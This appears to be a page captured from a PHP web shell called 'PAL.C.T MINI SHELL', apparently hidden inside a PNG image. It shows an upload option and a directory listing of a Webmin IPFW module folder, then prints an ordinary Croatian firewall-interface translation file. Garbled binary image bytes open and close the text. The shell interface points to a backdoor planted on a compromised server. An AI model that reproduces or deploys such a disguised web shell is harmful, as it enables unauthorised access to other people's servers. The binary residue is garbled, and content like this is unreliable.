php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/ipfw/lang/
upload
files >> //usr/libexec/webmin/ipfw/lang/hr.auto

index_title=BSD vatrozid
index_eipfw=Naredba BSD vatrozida $1 nije pronađena u vašem sustavu. Možda nije instaliran ili je <a href='$2'>konfiguracija modula</a> netočna.
index_elist=Došlo je do pogreške prilikom dohvaćanja pravila aktivnog vatrozida pomoću naredbe $1:$2. Možda kernel nije konfiguriran za podršku vatrozida, ili je <a href='$3'>konfiguracija modula</a> netočna.
index_version=Verzija IPFW $1 
index_apply=Primijeni konfiguraciju
index_applydesc=Kliknite ovaj gumb da biste aktivirali gore navedenu konfiguraciju vatrozida. Sva pravila vatrozida koji su trenutno na snazi bit će ispražnjeni i zamijenjeni
index_applydesc2=Kliknite ovaj gumb da biste gore navedenu konfiguraciju vatrozida učinili aktivnom na svim poslužiteljima u klasteru. Sva pravila vatrozida koji su trenutno na snazi bit će ispražnjeni i zamijenjeni
index_unapply=Vrati konfiguraciju
index_unapplydesc=Kliknite ovaj gumb kako biste resetirali gore navedenu konfiguraciju na onu koja je trenutno aktivna.
index_boot=Aktivirajte se pri pokretanju
index_bootdesc=Promijenite ovu opciju da biste kontrolirali je li vatrozid aktiviran u vrijeme pokretanja ili ne.
index_setup=Na vašem sustavu još nije postavljen IPFW vatrozid. Webmin može postaviti jedan za vas koji će se pohraniti u datoteku $1, s početnim postavkama na temelju vašeg odabira vrste vatrozida ispod.
index_rsetup=Konfiguracija IPFW vatrozida na vašem sustavu uskoro će se postaviti. Webmin će postaviti nova zadana pravila koja će se pohraniti u datoteku $1, s početnim postavkama na temelju vašeg odabira vrste vatrozida ispod.
index_auto0=Dopusti sav promet
index_auto1=Provedite mrežne adrese na vanjskom sučelju:
index_auto2=Blokiraj sve dolazne veze na vanjskom sučelju:
index_auto3=Blokirajte sve osim SSH i IDENT na vanjskom sučelju:
index_auto4=Blokirajte sve osim SSH, IDENT, ping i visoke portove na sučelju:
index_auto=Postavljanje vatrozida
index_atboot=Želite li zaštitni zid zaštititi tijekom pokretanja sustava?
index_count1=paketi
index_count2=Podaci
index_reset=Poništi vatrozid
index_resetdesc=Kliknite ovaj gumb za brisanje svih postojećih pravila vatrozida i postavljanje novih pravila za osnovnu početnu konfiguraciju.
index_cluster=Poslužitelji klastera
index_clusterdesc=Kliknite ovaj gumb za postavljanje dodatnih Webmin poslužitelja na koje će se automatski kopirati konfiguracija vatrozida.
index_return=pravila vatrozida

index_num=Broj
index_action=Radnja
index_desc=Stanje
index_cmt=Komentar
index_move=Pomicati
index_radd=Dodati
index_add=Dodajte novo pravilo vatrozida.
index_add2=Dodavanje pravila vatrozida
index_delete=Obriši odabrano
index_existing=Webmin je otkrio $1 IPFW pravila vatrozida koji se trenutno koriste, a nisu zabilježena u datoteci $2. Ova su pravila vjerojatno postavljena iz skripte koju ovaj modul ne zna čitati i uređivati. <p> Ako želite koristiti ovaj modul za upravljanje zaštitnim zidom IPFW-a, kliknite gumb u nastavku kako biste pretvorili postojeća pravila u datoteku za spremanje., a zatim onemogućite postojeću skriptu vatrozida.
index_saveex=Spremi pravila vatrozida
index_headerex=Postojeća konfiguracija vatrozida

action_allow=<font color=#00aa00>Dopusti</font>
action_deny=<font color=#ff0000>Ispusti</font>
action_reject=<font color=#ff4400>Odbij</font>
action_reset=<font color=#ff4400>Poništi</font>
action_skipto=Preskoči na
action_check-state=Provjerite dinamički skup pravila
action_count=Ažurirajte brojila
action_divert=Preusmjeravanje u luku
action_fwd=Proslijedi na IP i priključak
action_pipe=Prijeđite na cijev
action_queue=Prođite na red
action_tee=Pošaljite kopiju u luku
action_unreach=Vrati ICMP
laction_allow=<font color=#00aa00>Dopusti paket</font>
laction_deny=<font color=#ff0000>Ispusti paket</font>
laction_reject=<font color=#ff4400>Vrati odbacivanje ICMP-a</font>
laction_reset=<font color=#ff4400>Poništi TCP vezu</font>
laction_skipto=Preskočite da biste vladali

edit_title1=Stvorite pravilo
edit_title2=Uredi pravilo $1 
edit_header1=Pravilo akcije
edit_cmt=Komentar pravila
edit_action=Radnja koju treba poduzeti
edit_num=Broj za narudžbu
edit_log=Prijavite pakete koji odgovaraju?
edit_logyes=Da, najviše $1 puta (ostavite prazno bez ograničenja)
edit_proto=Protokol
edit_proto_not=Bilo koji protokol osim odabranog
edit_any=&lt;Bilo&gt;
edit_desc=Radnja odabrana gore provest će se samo ako su ispunjeni <b>svi</b> uvjeti u nastavku.
edit_headerfrom=Uvjeti paketa izvora
edit_headerto=Uvjeti odredišta paketa
edit_from=Adresa izvora
edit_sany=Bilo koja adresa
edit_sme=Adresa sustava vatrozida
edit_saddr=Adresa, domaćin ili mreža
edit_snot=Sve adrese osim odabranih
edit_to=Adresa odredišta
edit_portfrom=Izvori vrata
edit_pany=Bilo koje luke
edit_ports=Brojevi, imena ili rasponi priključaka
edit_portto=Odredišni portovi
edit_pnot=Sve ulaze osim unesenih
edit_header2=Druge opcije pravila
edit_inout=Smjer paketa
edit_ignored=zanemareni
edit_inout1=dolazni
edit_inout2=otvoren
edit_via=Prolazi kroz sučelje
edit_recv=Primljeno na sučelje
edit_xmit=Poslano na sučelju
edit_oifc=Ostali ..
edit_orblock=IPFW izraz
edit_established=Podudarite uspostavljene TCP veze?
edit_keep-state=Dopuštate ostatak veze?
edit_bridged=Podudarni paketi?
edit_frag=Odgovaraju fragmentirani paketi?
edit_setup=Odgovara postavljanju TCP veze?
edit_mac1=Izvorna MAC adresa
edit_mac2=Odredišna MAC adresa
edit_macaddr=Ethernet adresa
edit_uid=Korisnik je poslao ili primio
edit_gid=Poslano ili primljeno u grupi
edit_dstport=Neobavezna odredišna vrata su
edit_srcport=Neobavezni izvori su
edit_user=Unix korisnik ili #UID
edit_group=Unix grupa ili #GID
edit_header3=Uvjeti pravila
edit_icmptypes=Odgovaraju tipovima ICMP-a
edit_tcpflags=Poklapajte ako su postavljene TCP zastave
edit_not=Nije $1 
edit_limit=Maksimalno podudaranje veza
edit_unlimited=Neograničen
edit_src-addr=S adrese izvora ..
edit_src-port=Iz izvornog ulaza ..
edit_dst-addr=Odredišna adresa ..
edit_dst-port=Do odredišne luke ..

save_err=Spremanje pravila nije uspjelo
save_enum=Nedostaje ili nevažeći broj pravila
save_eskipto=Nedostaje ili nevažeći broj pravila na koji se može preskočiti
save_efwdip=Nedostaje ili je nevaljana IP adresa za prosljeđivanje
save_efwdport=Nevažeći broj priključka za prosljeđivanje
save_eteeport=Nedostaje ili nevažeći broj priključka na djelu
save_efrom=Nedostaje ili nije važeća izvorna adresa, domaćin ili mreža
save_eto=Nedostaje ili neispravna odredišna adresa, domaćin ili mreža
save_eportsprotofrom=Izvori portova mogu se odrediti samo za TCP ili UDP protokole
save_eportsprototo=Odredišni portovi mogu se odrediti samo za TCP ili UDP protokole
save_eportsfrom=Nedostaje ili nevažeći broj priključka izvora, imena, raspona ili popisa odvojen zarezom
save_eportsto=Nedostaje ili nevažeći broj odredišta, naziv, raspon ili popis odvojenih zarezom
save_elogamount=Nevažeći maksimalni broj puta za prijavu
save_evia=Nevažeća ocjena putem sučelja
send_erecv=Nevažeće primljeno sučelje
send_exmit=Nevažeće sučelje koje je poslano
save_eorblockproto=Nedostaje ili je nevažeći IPFW izraz za protokol
save_eorblockfrom=Nedostaje ili je nevažeći IPFW izraz za izvor izvora
save_eorblockto=Nedostaje ili je nevažeći IPFW izraz za odredišnu adresu
save_eorblockfrom_ports=Nedostaje ili nije važeći IPFW izraz za izvorne portove
save_eorblockto_ports=Nedostaje ili nije važeći IPFW izraz za odredišne portove
save_emac1=Nevažeća MAC adresa izvora
save_emac2=Nevažeća MAC adresa odredišta
save_euid=Nedostaje ili nije valjano Unix korisničko ime
save_egid=Nedostaje ili nevaljano ime grupe Unix
save_eicmptypes=ICMP tipovi mogu se odrediti samo ako je protokol ICMP
save_etcpflags=TCP zastave mogu se specificirati samo ako je protokol TCP
save_elimit=Nedostaje ili nevažeće maksimalno ograničenje
save_edstport=Nedostaje ili nije važeći odredišni port
save_esrcport=Nedostaje ili nevažeći izvor izvora

apply_err=Konfiguracija nije primijenjena

desc_if=Ako $1 
desc_and=i
desc_always=Stalno
desc_proto=protokol je $1 
desc_proto_not=protokol nije $1 
desc_from=izvor je $1 
desc_from_not=izvor nije
desc_to=odredište je $1 
desc_to_not=odredište nije $1 
desc_me=ovaj domaćin
desc_from_ports=izvor porta je $1 
desc_from_ports_not=izvor porta nije $1 
desc_to_ports=odredišni port je $1 
desc_to_ports_not=odredišni port nije $1 
desc_established=uspostavljena je veza
desc_established_not=veza nije uspostavljena
desc_bridged=premošćen je
desc_bridged_not=nije premošten
desc_frag=je fragmentiran
desc_frag_not=nije fragmentiran
desc_setup=je podešavanje TCP-a
desc_setup_not=nije postavljanje TCP-a
desc_xmit=prenosi na $1 
desc_xmit_not=ne prenosi se $1 
desc_recv=primljeno na $1 
desc_recv_not=nije primljeno na $1 
desc_via=prošao putem $1 
desc_via_not=nije prošao putem $1 
desc_mac=odredišni MAC je $1, a izvorni MAC je $2 
desc_mac1=izvor MAC je $1 
desc_mac2=odredišni MAC je $1 
desc_uid=poslao UID $1 
desc_gid=poslao GID $1 
desc_dstport=neobavezna odredišna vrata su $1 
desc_srcport=neobavezni izvori portova su $1 
desc_icmptypes=ICMP vrsta je $1 
desc_tcpflags=Postavljene su TCP zastave $1 
desc_src-port=izvorni port
desc_src-addr=adresa izvora
desc_dst-port=odredišna luka
desc_dst-addr=adresa odredišta
desc_limit=, s ograničenjem $1 od $2 
desc_where=gdje je $1 
desc_all=za sve pakete
desc_in=paket je dolazni
desc_out=paket je odlazni

log_create_rule=Izrađeno je pravilo $1 
log_delete_rule=Izbrisano je pravilo $1 
log_modify_rule=Izmijenjeno pravilo $1 
log_move_rule=Premješteno je $1 pravilo
log_create_rule_l=Stvoreno je $1 pravilo $2 
log_delete_rule_l=Izbrisano je pravilo $1 $2 
log_modify_rule_l=Izmijenjeno $1 pravilo $2 
log_move_rule_l=Premješteno $1 pravilo $2 
log_apply=Primjena konfiguracije vatrozida
log_bootup=Omogućen firewall pri pokretanju
log_bootdown=Onemogućen firewall pri pokretanju
log_convert=Pretvorena pravila aktivnog vatrozida
log_setup=Izvršeno početno postavljanje vatrozida
log_unapply=Obrnuta konfiguracija vatrozida
log_delsel=Izbrisana su pravila $1 

cluster_title=Poslužitelji vatrozida klastera
cluster_none=U grupu vatrozida još nije dodan nijedan poslužitelj.
cluster_host=Ime računala
cluster_desc=Opis
cluster_os=Operacijski sustav
cluster_add=Dodavanje poslužitelja
cluster_gadd=Dodajte poslužitelje u grupi
cluster_need=Prije nego što se njima ovdje može upravljati, morate dodati servere s prijavom i zaporkom u modulu Webmin Servers Index.
cluster_return=poslužitelji klastera
cluster_delete=Ukloni odabrano

add_title=Dodajte poslužitelje
add_msg=Dodavanje $1.
add_gmsg=Dodavanje poslužitelja u grupu $1 ..
add_err=Nije uspjelo dodavanje poslužitelja
add_gerr=Nije uspjelo dodavanje grupe
add_echeck=Server $1 nema IPFW modul vatrozida
add_emissing=Poslužitelj $1 nema postavljen IPFW vatrozid
add_ok=Dodano je $1, s $2 pravilima aktivnog vatrozida.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`